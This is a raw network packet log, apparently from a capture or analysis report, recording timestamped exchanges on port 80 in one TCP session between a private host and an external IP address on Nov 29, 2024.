Nov 29, 2024 20:07:31.849055052 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.849097967 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.849138021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.849180937 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.850296021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.850347042 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.850383997 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.850430965 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.851532936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.851582050 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.851643085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.851685047 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.852744102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.852788925 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.852890968 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.852932930 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.853955984 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.853997946 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.854084969 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.854126930 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.855176926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.855233908 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.855412960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.855459929 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.856390953 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.856435061 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.856539011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.856584072 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.857645988 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.857687950 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.857738018 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.857785940 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.858871937 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.858915091 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.859052896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.859093904 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.860127926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.860177040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.860203028 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.860245943 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.861316919 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.861362934 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.861424923 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.861470938 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.862528086 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.862576962 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.862731934 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.862773895 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.863801003 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.863842010 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.863883972 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.863933086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.864989996 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.865044117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.865118980 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.865159988 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.866266012 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.866311073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.866427898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.866471052 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.867501974 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.867599010 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.867683887 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.867729902 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.868716002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.868760109 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.868829012 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.868876934 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.869949102 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.869997978 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.870038986 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.870086908 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.871169090 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.871216059 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.871285915 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.871345043 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.872498989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.872545958 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.872653961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.872695923 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.873658895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.873698950 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.873780012 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.873821020 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.874902964 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.874946117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.875027895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.875082970 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.876128912 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.876182079 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.876286030 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.876327991 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.877366066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.877410889 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.877485991 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.877530098 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.878587961 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.878628016 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.878705978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.878747940 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.880110979 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.880155087 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.880196095 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.880237103 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.881098986 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.881145000 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.881228924 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.881274939 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.882301092 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.882344961 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.882436991 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.882493019 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.883502960 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.883539915 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.883569002 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.883631945 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.884776115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.884826899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.884890079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.884941101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.886014938 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.886071920 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.886221886 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.886264086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.887361050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.887407064 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.887444973 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.887482882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.888473034 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.888519049 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.888555050 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.888600111 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.889669895 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.889710903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.889797926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.889844894 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.890893936 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.890942097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.891000032 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.891041040 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.892266989 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.892326117 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.892458916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.892507076 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.893410921 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.893452883 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.893573046 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.893621922 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.894618988 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.894663095 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.894721031 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.894768953 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.895899057 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.895942926 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.896101952 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.896150112 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.897032022 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.897077084 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.897113085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.897155046 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.898319006 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.898369074 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.898452044 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.898500919 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.899528027 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.899575949 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.899642944 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.899686098 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.900753021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.900809050 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.900830030 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.900876045 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.901974916 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.902019024 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:31.902020931 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:31.902082920 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.040075064 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.040133953 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.040155888 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.040205002 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.040688992 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.040775061 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.040774107 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.040828943 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.041973114 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.042013884 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.042084932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.042129993 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.043113947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.043162107 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.043241978 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.043286085 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.044359922 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.044408083 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.044512987 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.044559956 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.045594931 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.045641899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.045682907 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.045725107 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.046792030 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.046838999 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.046901941 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.046946049 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.048060894 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.048108101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.048146009 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.048192978 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.049382925 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.049431086 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.049434900 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.049480915 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.050508022 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.050554991 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.050627947 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.050669909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.051744938 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.051789999 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.051846981 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.051894903 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.053118944 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.053174019 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.053210974 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.053258896 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.054208040 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.054272890 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.054313898 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.054358006 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.055425882 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.055473089 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.055548906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.055596113 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.056674004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.056725025 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.056766033 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.056816101 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.057897091 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.057944059 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.057985067 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.058029890 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.059139013 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.059182882 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.059206963 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.059294939 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.060417891 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.060467005 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.060477972 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.060508013 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.061625004 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.061669111 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.061781883 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.061830044 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.062931061 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.062982082 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.063065052 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.063108921 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.064292908 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.064311028 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.064348936 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.064348936 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.065429926 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.065476894 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.065602064 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.065643072 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.066569090 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.066628933 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.066731930 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.066776037 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.067775011 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.067821026 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.067909956 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.067950964 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.069009066 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.069060087 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.069230080 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.069279909 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.070310116 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.070349932 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.070355892 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.070389986 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.071468115 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.071516991 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.071598053 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.071640015 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.072688103 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.072748899 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.072786093 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.072866917 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.074163914 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.074212074 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.074220896 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.074259996 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.075222015 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.075238943 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.075275898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.075309992 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.076510906 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.076554060 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.076694012 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.076741934 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.077620029 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.077666044 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.077732086 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.077773094 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.079133034 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.079250097 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.079500914 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.079570055 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.080084085 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.080127001 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.080231905 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.080290079 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.081383944 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.081437111 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.081511021 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.081561089 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.082920074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.082973957 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.083172083 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.083214998 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.083935976 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.083986044 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.084029913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.084073067 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.085181952 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.085236073 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.085308075 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.085352898 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.086592913 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.086647034 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.086704969 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.086746931 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.088284016 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.088346004 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.088429928 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.088478088 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.088787079 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.088845968 CET	50068	80	192.168.2.4	185.215.113.16
Nov 29, 2024 20:07:32.088854074 CET	80	50068	185.215.113.16	192.168.2.4
Nov 29, 2024 20:07:32.088901043 CET	50068	80	192.168.2.4	185.215.113.16
